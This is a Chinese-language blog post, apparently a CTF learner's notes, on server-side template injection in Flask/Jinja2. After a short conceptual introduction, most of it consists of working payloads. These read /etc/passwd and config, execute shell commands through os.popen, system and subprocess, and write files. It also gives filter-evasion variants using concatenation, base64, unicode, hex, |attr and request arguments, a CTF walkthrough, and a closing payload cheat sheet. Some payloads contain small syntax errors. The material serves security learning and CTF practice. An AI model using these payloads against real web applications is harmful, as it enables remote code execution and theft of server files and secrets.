SSTI注入的学习

SSTI注入

1.SSTI介绍

  1. SSTI是什么

    SSTI全称(Serve-Side Template lnjection)服务端模板注入

  2. SSTI形成的原理

    是由于接受用户输入而造成的安全问题,服务器端接收了用户的输入,并且对用户输入的内容没有进行过滤,将用户输入的内容当作web应用模板的一部,就导致在进行编译渲染过程中执行了用户输入的恶意代码。

  3. SSTI的危害

    信息泄露,代码执行,getshell等

  4. 经常出现在什么地方

    web应用模板渲染的过程中

2.模板及模块引擎

  1. 什么是模板?

    在web开发中,模板是一种用于生成动态网页内容的工具或技术。填写一个空就可以得到html页面

  2. 模板的语法格式

    从语法格式可以看出:模板就是一段话中存在可动态替换的部分

    {{动态内容}}
    

    比如:

    print("hello{{path}}")
    //path可以是人为输入的,可以动态替换,所以我们就可以把这个串代码看作一个模板
    
  3. 什么是模板引擎?

    引擎就是驱动渲染这个模板的逻辑代码。

    把模板放在模板引擎里面,就会被渲染执行后生成html的文本最后返回给浏览器

    比如:

    <h1>{{ headerText }}</h1>
    
  4. 执行流程

    在这里插入图片描述

  5. 模板的坏处

    渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控,如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入漏洞可以被人注入。

3.主要的框架

  1. 主要的框架

    • Python:jinja2、 mako、 tornado、 django

    • php:smarty、 twig

    • java:jade、 velocity

4.Flask框架

主要是我太菜了,做ctf时也只遇到过flask框架,所以就已flask模板为例来学习了

  1. Flask框架的简单介绍

    WEB开发必备的模块,我们在渲染网页时,并不只是渲染一个纯文本字符串,而是渲染一个富文本的页面,这时候我们就需要模板,在flask中配套的模板是jinja2

  2. Jinja2是什么

    模板引擎

5.原理

这里补充一个知识
python web服务器部署:查看这篇文章有操作步骤
https://blog.csdn.net/qq_70303095/article/details/133787978?spm=1001.2014.3001.5501

  1. 开启一个简单的Flask框架进行渲染

    import flask
    app = flask.Flask(__name__)
    @app.route('/')
    
    def test():
        html = '{{12*12}}'
        return flask.render_template_string(html)
    
    if __name__ == '__main__':
        app.run(debug=True)
    
  2. 执行结果

    在这里插入图片描述

  3. 解析

    1. 代码中的模板是html = ‘{{12*12}}’
    2. 调用render_template_string()函数进行渲染
    3. 渲染的过程中就执行了模板中的操作
    4. 要是模板中的内容为攻击者可控是否就可执行命令
  4. 原理就是

    使用了**render_template_string()**来渲染模板

    注意:SSTI与**render_template_string()**函数密不可分

  5. 沙箱逃逸

    沙箱逃逸的过程简单讲如下

    变量对象–》–找到所属类型–》回溯基类–》寻找可利用子类–》构建payload–》进行注入

    在上述例子中,虽然已经可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句虽然可以执行,却不会执行成功

    要想要执行命令就需要借助各个类之间的继承关系

  6. 测试环境

    测试代码,用于一下的代码测试,我这里运行只能在python3中运行,有很多的测试需要在python2中才会有结果

    这是我在网上复制大佬写的代码,会python开发的大佬可以写一个运行在python2的测试环境

    import flask
    
    app = flask.Flask(__name__)
    # @app.route('/<path:id>')
    @app.route('/')
    def test():
        id=flask.request.args.get('id')
        return flask.render_template_string("<h1>Hello, "+id+"</h1>")
    
    if __name__ == '__main__':
        app.run(debug=True)
    

6.基于python的魔法方法和内置属性

魔法和方法的使用要考虑python的版本,不同的python版本之间的类是不一样的

  1. __class__

    用来查看变量所属的类,根据前面的变量形式可以得到其所属的类

    >>> ''.__class__
    <type 'str'>           //字符串
    >>> ().__class__
    <type 'tuple'>         //元组
    >>> [].__class__
    <type 'list'>          //列表
    >>> {}.__class__
    <type 'dict'>          //字典
    
  2. __mro__

    用来获取一个类的调用顺序,可以用此方法来获取基类

    ''.__class__.__mro__    // python2下和python3下不同
    (<class 'str'>, <class 'object'>)
    >>> [].__class__.__mro__
    (<class 'list'>, <class 'object'>)
    >>> {}.__class__.__mro__
    (<class 'dict'>, <class 'object'>)
    >>> ().__class__.__mro__
    (<class 'tuple'>, <class 'object'>)
    >>> ().__class__.__mro__[1] // 返回的是一个类元组,使用索引就能获取基类了
    <class 'object'>
    
  3. __bases__

    用来查看类的基类,也可以用使用数组索引来查看特定位置的值

    >>> ().__class__.__bases__
    (<type 'object'>,)
    >>> ''.__class__.__bases__
    (<type 'basestring'>,)
    >>> [].__class__.__bases__
    (<type 'object'>,)
    >>> {}.__class__.__bases__
    (<type 'object'>,)
    >>> ''.__class__.__bases__[0].__bases__[0] // python2下雨python3下不同
    <type 'object'>
    >>> [].__class__.__bases__[0]
    <type 'object'>
    
  4. __base__

    可以直接获取基类

    >>> ''.__class__.__base__
    <class 'object'>             //python3下的
    >>> ''.__class__.__base__    //python2下的
    <type 'basestring'>
    >>> [].__class__.__base__
    <type 'object'>
    >>> {}.__class__.__base__
    <type 'object'>
    >>> ().__class__.__base__
    <type 'object'>
    

    当掌握了这些类继承的方法,我们可以从任何一个变量回溯到最开始的基类<clas'object'>中,再去获得这个最开始的基类所有能实现的子类,既可以有很多的类和方法了。

  5. __subclass__()

    查看当前的子类组成的列表

    当回溯到基类,就可以使用这个来查当前子类

    ''.__class__.__bases__[0].__subclasses__()
    
  6. 补充

    __builtins__:以一个集合的形式查看引用
    __globals__:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该
    __import__():该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 import()来动态载入,就是 import 。语法:import(模块名)
    
  7. 使用魔法方法和内置属性的原因

    1. 就是为了回溯到子类表,然后在众多类中找出可以利用的类

    2. 这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子
      类、更多的方法,找出可以利用的类和方法加以利用。

  8. 通过python的对象的继承来一步步实现文件读取和命令执行的

    找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。
    

    需要注意:由于python的版本不同有些类也不同,就需要注意类的使用!!!

    需要注意:由于python的版本不同有些类也不同,就需要注意类的使用!!!

    需要注意:由于python的版本不同有些类也不同,就需要注意类的使用!!!

7.关键字

  1. config关键字,Flask模版中的一个全局对象,它包含了所有应用程序的配置值。

    {{config}}	//查看所有应用程序的配置值
    {{config.items()}}	//查看配置项目的信息
    利用{{config}}查出来的配置值,在加一个.号拼接配置值即可查看相应的信息
    

    在这里插入图片描述

  2. 常用关键字

    {{requests}}
    {{requests.environ}}
    {{self}}
    {{url_for}}
    {{get_flashed_messages}}
    {{url_for.__globals__["os"].system('calc')}}
    

6.文件读取

  1. python2

    实际的索引可能不同,需要动态识别

    [].__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
    
    /////////////////////////////////////////////////////
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
    
  2. python3

    使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用<class '_frozen_importlib_external.FileLoader'> 这个类去读取文件。

    首先编写脚本遍历目标Python环境中 <class '_frozen_importlib_external.FileLoader'> 这个类索引号

    import requests
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
    }
    
    for i in range(500):
        url = "http://ip:端口/?file={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
    
        res = requests.get(url=url, headers=headers)
        if 'FileLoader' in res.text:
            print(i)
    
    # 得到编号为n
    

    拼接,不知道为什么没执行成功

    {{().__class__.__bases__[0].__subclasses__()[n]["get_data"](0, "/etc/passwd")}}
    

7.命令执行

可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。

  1. 这里就直接放payload了

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
    
    
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')
    
    
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
    
  2. 记住含有eval函数的类

    warnings.catch_warnings
    WarningMessage
    codecs.IncrementalEncoder
    codecs.IncrementalDecoder
    codecs.StreamReaderWriter
    os._wrap_close
    reprlib.Repr
    weakref.finalize
    etc.
    

    写一个脚本遍历出相关类,在构造payload,即可

SSTI注入绕过

1.关键字绕过

对一些特殊的关键字符进行拦击

1.1拼接绕过

  1. 可以利用“+”进行字符串拼接,绕过关键字过滤

    但是往往这种绕过需要一定的条件,返回的要是字典类型的或是字符串格式(即str)的,即payload中引号内的,在调用的时候才可以使用字符串拼接绕过。

    {{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
    
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}
    
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
    

1.2 base64编码绕过

  1. 对引号内的代码进行base64编码后再后接.decode('base64')可以进行绕过

    这个没看懂,有点迷糊

    大佬的总结:只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13,16进制编码。这一切都是基于我们可以执行命令实现的。

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    
    转换
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
    

1.3Unicode编码绕过

  1. 直接看payload

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
    

    转换

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
    

1.4hex编码绕过

  1. payload

    注意:这里注意,在进行hex编码的时候我们需要选用/x的形式,这样才能有效绕过。

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
    
    转换
    {().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
    

1.5引号绕过

  1. payload

    ().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()
    
    [].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
    

1.6 join()函数绕过

  1. payload

    我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:

    [].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
    

2.绕过其他字符

2.1过滤了中括号[]

  1. 利用__getitem__()绕过

    好像只能在python2中使用,我在python3中没有效果

    可以使用getitem()方法输出序列属性中某个索引处的元素(相当于[]),例如

    >>> "".__class__.__mro__[2]
    <type 'object'>
    >>> "".__class__.__mro__.__getitem__(2)
    <type 'object'>
    
    在这里边__getitem__()就等于[]
    

    payload

    {{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}       // 指定序列属性
    
    {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性
    
  2. 利用字典读取绕过

    payload

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    
    转换
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
    

2.2过滤了引号''""

  1. 利用chr()绕过

    chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。

    语法

    chr(i)
    i -- 可以是10进制也可以是16进制的形式的数字。
    

    payload

    {% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
    
    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
    

    等同与

    {{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
    

2.3过滤了下划线_

  1. 利用request对象绕过
    {{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
    
    转换
    {{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
    

2.4过滤了点.

  1. 利用|attr()绕过
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
    转换
    {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
    
  2. 利用中括号[]绕过
    {{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
    转换
    {{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
    

2.5过滤了大括号{{

  1. 使用{% %}
    {% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
    
    {%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
    

3.组合绕过

3.1同时过滤了 . 和 []

  1. |attr()+getitem

    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
    转换为
    {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
    

3.2同时过滤了 __ 、点. 和 []

  1. __getitem__+|attr()+`request

    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    转换
    {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
    
  2. 配合Unicode编码绕过很多过滤

    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
    转换
    {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
    

3.3配合Hex编码绕过很多过滤

  1. 列入

    {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
    转换为
    {{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}
    

题目练习

ctf题

  1. Web_python_template_injection

    题目连接:https://adworld.xctf.org.cn/challenges/list

    在web题型中搜索:python第一道题

    1. 访问题目

      在这里插入图片描述

  2. 根据题目信息,一看就知道是ssti注入,随便拼接一个xss玩玩看

在这里插入图片描述

  1. 判断有没有ssti注入

    在这里插入图片描述

  2. 执行命令,ls查看当前目录下的文件

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

    两个文件

    在这里插入图片描述

  3. 查看文件,找到flag

    [].__class__.__mro__[-1].__subclasses__()[40]("fl4g").read()

  4. 附带一下这道题的源码吧,感兴趣的可以自己搭建来玩玩,当然也可以去网站实验

    from flask import Flask,request,render_template_string
    from urllib import unquote
    app = Flask(__name__)
    @app.route("/")
    def hello():
        return "python template injection"
    @app.errorhandler(404)
    def page_not_found(error):
        url = unquote(request.url)
        return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404
    if __name__ == '__main__':
        app.run(debug=False, host='0.0.0.0') not found
    

payload集合

  1. 做题专享:查看flag

    {% for c in [].class.base.subclasses() %}
    {% if c.name=='catch_warnings' %}
    {{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
    {% endif %}{% endfor %}
    
  2. payload

    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    >''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    ''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
    object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
    object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
    {{''.__class__.__mro__[-1].__subclasses__()[200]('calc') }}
    {{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()") }}
    {{''.__class__.__mro__[-1].__subclasses__().xxxx.__init__.__globals__.__builtins__.exec("__import__('os').popen('calc').read()") }}
    %7b%7b''%2e__class__%2e__mro__[-1]%2e__subclasses__()%2exxxx%2e__init__%2e__globals__%2e__builtins__%2eeval(%22__import__('os')%2epopen('pwd')%2eread()%22)%20%7d%7d
    
    获取基类
    //获取基本类
    {{[].__class__}}
    
    //获取所有类
    ''.__class__.__mro__[2].__subclasses__()
    获取config对象与request对象类
    
    {{url_for.__globals__}}
    {{config}}#即查看权限
    {{ config.SQLALCHEMY_DATABASE_URI }}
    
    python2
    #读取文件类,<type ‘file’> file位置一般为40,直接调用
    [].__class__.__base__.__subclasses__()[40]('fl4g').read()
    
    <class ‘site._Printer’> #调用os的popen执行命令
    {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
    [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
    [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()
    
    #如果system被过滤,用os的listdir读取目录+file模块读取文件:
    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
    
    <class ‘subprocess.Popen’> 位置一般为258
    {{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
    {{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
    {{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
    
    <class ‘warnings.catch_warnings’>
    #一般位置为59,可以用它来调用file、os、eval、commands等
    #调用file
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()      #把 read() 改为 write() 就是写文件
    #读文件
    ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
    object.__subclasses__()[40](r'C:\1.php').read()
    #写文件
    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    
    #调用eval
    [].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
    #调用system方法
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
    #调用commands进行命令执行
    {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
    
    python3
    #读取文件与写文件类
    {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
    #执行命令
    {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
    #命令执行:
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
    #文件操作
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值